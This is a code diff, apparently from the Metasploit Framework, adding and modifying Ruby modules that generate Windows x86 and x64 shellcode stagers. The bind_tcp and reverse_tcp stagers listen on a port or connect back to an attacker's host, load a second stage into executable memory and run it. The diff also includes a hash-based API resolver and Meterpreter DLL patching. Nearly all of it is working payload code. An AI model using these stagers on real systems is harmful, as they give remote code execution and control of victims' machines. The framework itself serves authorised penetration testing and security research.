|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push 8
|
||||
pop ecx
|
||||
push_8_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
|
||||
loop push_8_loop
|
||||
|
||||
; push zero for the flags param [8]
|
||||
; push null for reserved parameter [7]
|
||||
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||
; we do not specify a protocol [5]
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
; bind to 0.0.0.0, pushed earlier [4]
|
||||
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
^
|
||||
|
||||
# Check for a failed bind() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
test eax,eax
|
||||
jnz failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; backlog, pushed earlier [3]
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if reliable
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
|
||||
^
|
||||
asm << asm_exitfunk(opts)
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -2,8 +2,8 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
module Msf
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
|
|
|
@ -29,17 +29,11 @@ module Payload::Windows::ReflectiveDllInject
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi -https',
|
||||
},
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 33, 'V' ]
|
||||
},
|
||||
'Payload' => ""
|
||||
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
))
|
||||
|
||||
|
@ -85,6 +79,16 @@ module Payload::Windows::ReflectiveDllInject
|
|||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the target ID into the URI if specified
|
||||
if target_id
|
||||
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
|
|
|
@ -0,0 +1,242 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
create_socket:
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_failure:
|
||||
dec dword [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
# TODO: Rewind the stack, free memory, try again
|
||||
=begin
|
||||
if opts[:reliable]
|
||||
asm << %Q^
|
||||
reconnect:
|
||||
|
||||
^
|
||||
end
|
||||
=end
|
||||
|
||||
asm << %Q^
|
||||
connected:
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter
|
|||
end
|
||||
|
||||
def generate_stageless_x86(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
|
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter
|
|||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter
|
|||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
|
|
|
@ -0,0 +1,220 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Windows ARCH_X86_64
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::BindTcp_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; pop off the address of 'api_call' for calling later.
|
||||
#{asm_bind_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
#space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 11 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_port}
|
||||
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
|
||||
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
; perform the call to bind...
|
||||
push 16 ;
|
||||
pop r8 ; length of the sockaddr_in struct (we only set the
|
||||
; first 8 bytes as the last 8 are unused)
|
||||
mov rdx, r12 ; set the pointer to sockaddr_in struct
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call rbp ; bind( s, &sockaddr_in, 16 );
|
||||
; perform the call to listen...
|
||||
xor rdx, rdx ; backlog
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call rbp ; listen( s, 0 );
|
||||
; perform the call to accept...
|
||||
xor r8, r8 ; we set length for the sockaddr struct to zero
|
||||
xor rdx, rdx ; we dont set the optional sockaddr param
|
||||
mov rcx, rdi ; listening socket
|
||||
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call rbp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
; perform the call to closesocket...
|
||||
mov rcx, rdi ; the listening socket to close
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call rbp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,117 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic block_api stubs for Windows ARCH_X86_64 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::BlockApi_x64
|
||||
|
||||
def asm_block_api(opts={})
|
||||
|
||||
raw = %q^
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
push rcx ; Save the 1st parameter
|
||||
push rsi ; Save RSI
|
||||
xor rdx, rdx ; Zero rdx
|
||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push rdx ; Save the current position in the module list for later
|
||||
push r9 ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov rdx, [rdx+32] ; Get this modules base address
|
||||
mov eax, dword [rdx+60] ; Get PE header
|
||||
add rax, rdx ; Add the modules base address
|
||||
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
|
||||
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||
jne get_next_mod1 ; if not, proceed to the next module
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
test rax, rax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add rax, rdx ; Add the modules base address
|
||||
push rax ; Save the current modules EAT
|
||||
mov ecx, dword [rax+24] ; Get the number of function names
|
||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop rax ; Restore the current modules EAT
|
||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
pop rcx ; Restore the 1st parameter
|
||||
pop rdx ; Restore the 2nd parameter
|
||||
pop r8 ; Restore the 3rd parameter
|
||||
pop r9 ; Restore the 4th parameter
|
||||
pop r10 ; pop off the return address
|
||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
